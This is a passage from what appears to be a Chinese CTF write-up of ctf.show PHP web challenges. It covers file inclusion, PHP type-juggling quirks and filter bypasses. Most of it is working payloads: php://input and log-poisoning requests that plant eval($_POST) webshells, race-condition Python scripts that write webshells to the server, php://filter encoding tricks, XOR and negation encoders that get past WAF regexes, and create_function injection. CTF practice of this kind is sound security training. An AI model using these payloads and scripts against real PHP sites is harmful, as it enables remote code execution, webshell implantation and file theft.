c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
# 或者
var_export(scandir('/'));die();
# 或者
c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit();
# 或者
c=$a="glob:///*";if($b=opendir($a)){while(($file=readdir($b))!==false){echo $file."\n";}closedir($b);}exit();

然后include

1
c=include('/flagc.txt');exit();

上题的uaf代码中strlen被ban了,我们可以写一个代替

1
2
3
4
5
6
7
8
9
10
11
function strlen_user($s){
$ret=0;
for($i=0;$i<100000;$i++){
if($s[$i]){
$ret=$ret+1;
}else{
break;
}
}
return $ret;
}

文件包含

web80

  • 如果过滤了php可以用PHP来绕过,但是data不能用DATA来绕过
  • php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
  • 判断是否可以进行日志注入,判断的条件是是否可以进行ssrf漏洞,传参/etc/passwd,如果成功,则代表可以进行日志注入
1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
  • 方法一:Php绕过

    使用burpsuit

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    POST /?file=Php://input HTTP/1.1
    Host: 7c1020fb-ad70-446e-aa9f-96f37da1dd90.challenge.ctf.show
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 20

    <?php system('ls')?>
    <?php system('tac fl0g.php')?>
  • 方法二:日志注入

    • Get传参/?file=/var/log/nginx/access.log,找到日志地址(一个个常用地址试试看)

    • 然后在UA里面藏入一句话木马

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      POST /?file=/var/log/nginx/access.log HTTP/1.1
      Host: 7c1020fb-ad70-446e-aa9f-96f37da1dd90.challenge.ctf.show
      Cache-Control: max-age=0
      Upgrade-Insecure-Requests: 1
      User-Agent: <?php eval($_POST['a']); ?>
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Connection: close
      Content-Length: 0
    • 使用🐜🗡连接

    • 或者直接在UA里面执行代码就行了,注意别输错了,否则需要重启实例

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      GET /?file=/var/log/nginx/access.log HTTP/1.1
      Host: f3c8bad1-a762-443f-9d81-4dd4919dd85f.challenge.ctf.show
      Cache-Control: max-age=0
      Upgrade-Insecure-Requests: 1
      User-Agent: <?php system('tac fl0g.php'); ?>
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Connection: close
      Content-Length: 0

web83

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import io
import threading

url='http://9a77fcb3-6f3c-4bd6-a247-07bfe6766509.challenge.ctf.show:8080/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/jiuzhen.php','<?php eval($_POST[3]);?>');"
}
#这个是访问/tmp/sess_ctfshow时,post传递的内容,是在网站目录下写入一句话木马。这样一旦访问成功,就可以蚁剑连接了。
def write(session):#/tmp/sess_ctfshow中写入一句话木马。
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)

def read(session):#访问/tmp/sess_ctfshow,post传递信息,在网站目录下写入木马。
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
resposne2=session.get(url+'jiuzhen.php');#访问木马文件,如果访问到了就代表竞争成功
if resposne2.status_code==200:了
print('++++++done++++++')
else:
print(resposne2.status_code)

if __name__ == '__main__':

evnet=threading.Event()
#写入和访问分别设置5个线程。
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()

evnet.set()

web87

  • 提交的方式要使用Content-Type: application/x-www-form-urlencoded,否则无法成功,这种题其实可以用POSTMan做,没必要用burpsuite抓包,如果要抓,必须带上上面这句Content-type
1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

这道题需要绕过die函数,我们要使其无效,否则影响我们提交的内容。

思路可以参考[文件包含](# 文件包含)底下的链接

  • 方法一:用base64 编码
    使用url编码file=php://filter/write=convert.base64-decode/resource=flag.php

    需要把字母也编码,然后再进行一次url编码

    %2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2566%256c%2561%2567%252e%2570%2568%2570

    1
    2
    3
    4
    def encodeAllStrings(strings):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in strings)
    r = encodeAllStrings(a)
    parse.quote(r)

    content是写入内容,要进行base64编码 对应上面的伪协议解码,而base解码时,是4个一组,flag.php(要写入的文件),写入的内容<?php die('大佬别秀了');?>中只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了,在base64解密时会忽略不可识别的字符

    总结:我们要在content中写入shell,然后base64编码
    content=<?php system('ls');?>
    base64
    content=PD9waHAgc3lzdGVtKCdscycpOz8+

    我们还要在base64前加上两个字符来凑齐位数,因此content变成了

    content=aaPD9waHAgc3lzdGVtKCdscycpOz8+

    BASE64加密需要4的整数倍

  • 方法二:使用rot13加密

    同理,先构造rot13加密的伪协议php://filter/write=string.rot13/resource=2.php

    然后两次url加密

    %2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2532%252e%2570%2568%2570

    然后payload,<?php system('tac fl0g.php')?>使用rot13加密<?cuc flfgrz('gnp sy0t.cuc')?>

php特性

web89

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
  • preg_match有个漏洞,当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1,所以我们可以传个数组绕过,构造payload

    ?num[]=abc

web90

intval($num,0)意思是检测num的进制类型并返回其十进制的值,若num前缀为0,即判断num为八进制,若num前缀为0x,则判断num为十六进制

  • php中**===**
    • 值相等
    • 类型相同
1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
  • 方法一:进制转换

    • 若num前缀为0,即判断num为八进制,若num前缀为0x,则判断num为十六进制

    转化为八进制为010574

    转化为十六进制为0x117c

    1
    2
    3
    4
    5
    6
    7
    // 16
    ?num=0x117c
    // 8
    ?num=010574
    // 2
    ?num=0b1000101111100

  • 方法二:科学计数法

    4476e3表示4476*10^3,也就是4476000,

    而4476e3做为参数传入的时候可以当成字符串,在进行第一个(===)比较时会先转为4476000再比较,到intval函数时,因为没有特征前缀,所以当十进制处理,而intval函数不能处理科学计数法,4476e3会被识别为4476,

  • 方法三:字符串截取

    • intval处理开头是数字的字符串时,返回值为开头的数。 所以我们可以直接输入 ?num=4476a
  • 方法四:浮点数

    • 构造浮点数绕过即可

      4476.0

  • 方法五:使用正号绕过

    +010574

    %2b010574

web91

  • 换行解析漏洞

    ^表示表达式开头,$表示表达式结尾,i表示不区分大小写,m表示多行模式

    \n换行,我们仅需用%0a代替即可

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
  • 过滤了十六进制,我们利用八进制就可以010574

web94

  • 这题增加了对8进制的围追堵截,我们用浮点数绕过

    4476.0

web97

  • 我一开始写个脚本,不知道要跑到什么时候,暴力好像出不来,可以搜一下网上计算好的md5。
  • 知识点,md5函数无法支持数组操作,因此构造数组即可
    • a[]=1&b[]=2

web99

in_array()函数有漏洞 没有设置第三个参数,严格匹配。就可以形成自动转换

n=1.php自动转换为1

web100

运算符优先级:**&& > || > = > and > or**

is_numeric() 函数用于检测变量是否为数字或数字字符串。

是数字和数字字符串则返回 TRUE,否则返回 FALSE

**var_dump()**函数可以输出多个值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

v3的话要加注释也行,不加也能运行

1
2
3
4
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=var_dump($ctfshow)&v3=;
?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/;
或?v1=1&v2=echo new ReflectionClass&v3=;

web105

详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
你还想要flag嘛?

&&应用
$hell=”abc”;
$$hell=”def”;等同于$abc=”def”;

这里的&&把key的值变为了变量所以可以通过$error和$$suces进行输入flag

我们可以在GET把flag赋值给suces,然后再把suces赋值给error就能显示flag了

web108

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>

web109

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>
  • 方法一:反射

    1
    2
    ?v1=Reflectionclass&v2=system('ls')
    ?v1=Reflectionclass&v2=system('tac fl36dg.txt')
  • 方法二:异常处理

    1
    2
    ?v1=Exception&v2=system('ls')
    ?v1=Exception&v2=system('tac fl36dg.txt')
  • 方法三:错误

    1
    2
    ?v1=Error&v2=system('ls')
    ?v1=Error&v2=system('tac fl36dg.txt')

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

禁掉了匿名类的payload

要求:不允许使用特殊字符与数字

   v1只能是类,v2为函数或方法,且无参数

分析

1、web109 中的 v2 先为 system(ls) ,后为system(‘tac fl*’)

    步骤为:1)查看目录 2)查看文件信息

    但 ( 被禁用,不能使用 system(ls) 查看目录

2、考虑查看目录函数的替代:scandir()、golb()、dirname()、basename()、realpath()、getcwd()

    其中 scandir()、golb() 、dirname()、basename()、realpath() 需要给定参数

    而 getcwd() 不需要参数

    很明显 v2=getcwd

3、v1 我们选择读取文件内置类 FilesystemIterator

payload

1
v1=FilesystemIterator&v2=getcwd

访问文件即可

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}

}

要求:v1,v2 不能包含特殊符号与数字,v1 必须包含 ctfshow

分析

  1、getFlag 中使用 var_dump() 输出 $$v1

    $$v1 = &$$v2

    $v2 为变量,我们知道,flag 通常存储在 $flag 变量中,因此,令 v2 = flag,则相当于 $$v1 = $flag

    构造的 payload 为 v1=ctfshow&v2=flag

    但输出为 NULL

    原因:(变量范围)

      $flag 在自定义函数 getFlag 函数中没有定义

      $flag 是属于 flag.php 中的变量,对于 getFlag 是外部变量,因此我们需要将 $flag 改为全局变量

  2、定义全局变量的格式为 global $flag

    如果 v2=global $flag

    首先 $ 被屏蔽

    其次 $$v1 = &$$v2 ,既 $$v1 = &$global $flag

  3、考虑使用超全局变量 $GLOBALS

知识点

  1、引用赋值 &

  2、变量范围

  3、预定义变量中的超全局变量 $GLOBALS

payload

1
v1=ctfshow&v2=GLOBALS

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
1
2
3
4
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

考点:利用函数所能处理的长度限制进行目录溢出

  • 解法一
1
2
3
4
5
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
  • 解法二
1
compress.zlib://flag.php

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

其中$c<=18不知道是啥意思

php是弱类型语言,因此如果字符串开头是字母,和数字比较时候就会被转为0

  • 方法一:利用eval$c直接输出结果

    1
    2
    payload
    CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
  • 方法二:

    1
    2
    3
    4
    5
    6
    7
    Payload:

    GET:?a=1+fl0g=flag_give_me
    POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

    GET:?$fl0g=flag_give_me
    POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

    利用$_SERVER[‘argv’],在大佬那看了这一函数的讲解。

    $_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。

    ‘argv’

    传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

    意思就是通过$_SERVER[‘argv’]将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。

    执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。

    在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

  • 方法三:highlight_file

    1
    2
    3
    4
    5
    Payload:

    GET:?1=flag.php

    POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

小知识点: _()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

payload: ?f1=_&f2=get_defined_vars

web129

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

这题是让我们读取flag,当时我们传入的值必须包括ctfshow而且不能出现在开头,第一反应就是用filter伪协议读取,中间把ctfshow替换成过滤器的名称php://filter/ctfshow/resource=flag.php,或者目录遍历也可以

  • 方法一:filter

    1
    2
    3
    4
    ?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
    ?f=php://filter/|ctfshow/resource=flag.php
    ?f=php://filter/ctfshow/resource=flag.php
    具体原理也不是很清楚,可能是php遇到没有的filter就会忽略
  • 方法二:目录绕过

    1
    2
    ?f=/ctfshow/../../../../var/www/html/flag.php
    ?f=./ctfshow/../flag.php

web131

正则最大回溯

web134

解答:看到parse_str和extract。变量覆盖
第一条if判断,要求key1和key2不能通过get和post传递。

parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1。
那么相对的,传递_POST,就是对$_POST进行赋值,正好就可以绕过if条件对post的限制。
extract() 函数从数组中将变量导入到当前的符号表。

payload:?_POST[key1]=36d&_POST[key2]=36d

web136

tee用于显示程序的输出并将其复制到一个文件中。

payload?c=ls |tee 1,访问1发现当前目录没有flag文件。

?c=ls / |tee 1,发现f149_15_h3r3文件。

?c=cat /f149_15_h3r3|tee 1获取flag。

web141

数字和运算符是可以一起执行命令的,如1+phpinfo()+1;是可以显示phpinfo页面的,GET传入的只是字符串“1+phpinfo()+1”;是不能直接执行命令的,经过eval处理后就变成了可以执行命令,if(preg_match(‘/^\W+$/‘, $v3)){的存在我们只能传入非数字字母,不过php7可以用(‘phpinfo’)()动态调用函数,可以用异或绕过

需要通过脚本绕过

php脚本

v1=1&v2=1&v3=%2b(+号)或者%2d(-号)加上脚本编码后的字符串。

  • 取反

    因为取反的话,基本上用的都是一个不可见字符,所以不会触发到正则表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>
  • 异或和或操作

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    # -*- coding: utf-8 -*-

    """
    @Author disda
    @Date 2023/5/16 10:23
    @Describe
    @Dependency
    @Version 1.0
    """
    # -*- coding: utf-8 -*-

    """
    @Author disda
    @Date 2023/4/26 18:56
    @Describe
    @Dependency
    @Version 1.0
    """
    import re
    import urllib
    from urllib import parse

    op_dict = {
    "yes_op": lambda x: x,
    "not_op": lambda x: not x,
    "or_op": lambda x, y: x | y,
    "xor_op": lambda x, y: x ^ y
    }

    sign = {
    'xor_op': '^',
    'or_op':'|'
    }

    def generate_coding(file_name, pattern, is_match, mode):
    """
    生成符合要求的编码
    @param file_name: 生成文件的名称
    @param pattern: 正则表达式
    @param is_match: 是否匹配正则,True表示匹配,False表示不匹配
    @param mode: 编码方式
    @return:
    """
    with open(file_name, 'w') as f:
    for i in range(256):
    for j in range(256):
    op = op_dict['not_op'] if is_match else op_dict['yes_op']

    # 如果当前外层循环元素被过滤了,直接跳过所有内层循环
    if op(re.search(pattern, chr(i))):
    break
    # 如果当前内层循环元素被过滤了,跳过该元素
    if op(re.search(pattern, chr(j))):
    continue

    # [2:]是因为python中hex表示是0xff这样的形式,去掉前面的0x,组成2位url编码
    hex_i = "0" + hex(i)[2:] if i < 16 else hex(i)[2:]
    hex_j = "0" + hex(j)[2:] if j < 16 else hex(j)[2:]
    # url编码的方式和ASCII码一样,但需要在前面加上%
    url_i = '%' + hex_i
    url_j = '%' + hex_j
    # c是我们要构造的参数,比如说我们要传ls命令,l就要拆分成a|b,其中|是因为题目没有过滤|,我们可以修改成其他任意操作如^
    c = op_dict[mode](ord(urllib.parse.unquote(url_i)), ord(urllib.parse.unquote(url_j)))
    # 如果c是可见的字符
    if c >= 32 and c <= 126:
    f.write(chr(c) + " " + url_i + " " + url_j + '\n')


    def action(arg,file_name,mode):
    s1 = ""
    s2 = ""
    for i in arg:
    f = open(file_name, "r")
    while True:
    t = f.readline()
    if t == "":
    break
    if t[0] == i:
    s1 += t[2:5]
    s2 += t[6:9]
    break
    f.close()
    output = "(\"" + s1 + "\""+sign[mode]+"\"" + s2 + "\")"
    return (output)

    file_name = 'rce.txt'
    mode = 'xor_op'
    reg = '^\W+$'
    generate_coding(file_name,reg,True,mode)
    while True:
    param = action(input("\n[+] your function:"),file_name,mode) + action(input("[+] your command:"),file_name,mode) + ";"
    print(param)

web147

1
2
3
4
5
6
7
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

考察点:create_function()代码注入

1
2
3
4
5
6
7
8
create_function('$a','echo $a."123"')

# 类似

function f($a) {
echo $a."123";
}

那么如果我们第二个参数传入 echo 1;}phpinfo(); 等价于执行后面的命令

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

%5c就是\的url编码,直接写斜杠能过

1
2
3
4
get: show=echo 123;}system('tac f*');//
# or
get: show=echo 123;}system('tac f*');/*
post: ctf=\create_function

web149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$files = scandir('./'); 
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
  • 思路一:写入index.php一句话木马

    1
    2
    get: ctf=index.php
    post: show=<?php phpinfo();eval($_POST[0]);?>
  • 思路二:条件竞争

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    import threading
    import requests
    import time

    flag = 1

    def write():
    while 1:
    url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/"+"?ctf=4.php"
    fromdata={"show":"<?php eval($_GET['S']);?>"}
    response = requests.post(url=url,data=fromdata)
    print(response.status_code)

    def read():
    global flag
    while 1:
    #cmd = "system('ls /')"
    url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/4.php?S=system('tac /ctfshow_fl0g_here.txt');"
    response = requests.get(url=url)
    if response.status_code == 200:
    print(response.text)
    flag = 0;
    break;





    # threads = []

    # t1 = threading.Thread(target=write)
    # t2 = threading.Thread(target=read)
    # threads.append(t1)
    # threads.append(t2)

    if __name__ == '__main__':
    for i in range(10):
    t1 = threading.Thread(target=write)
    t1.setDaemon(True)
    t1.start()
    for i in range(10):
    t2 = threading.Thread(target=read)
    t2.setDaemon(True)
    t2.start()
    # for t in threads:
    # t.join()

    while flag:
    time.sleep(0.01)

web150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

使用日志包含

1
2
3
4
5
6
7
8
9
10
11
12
13
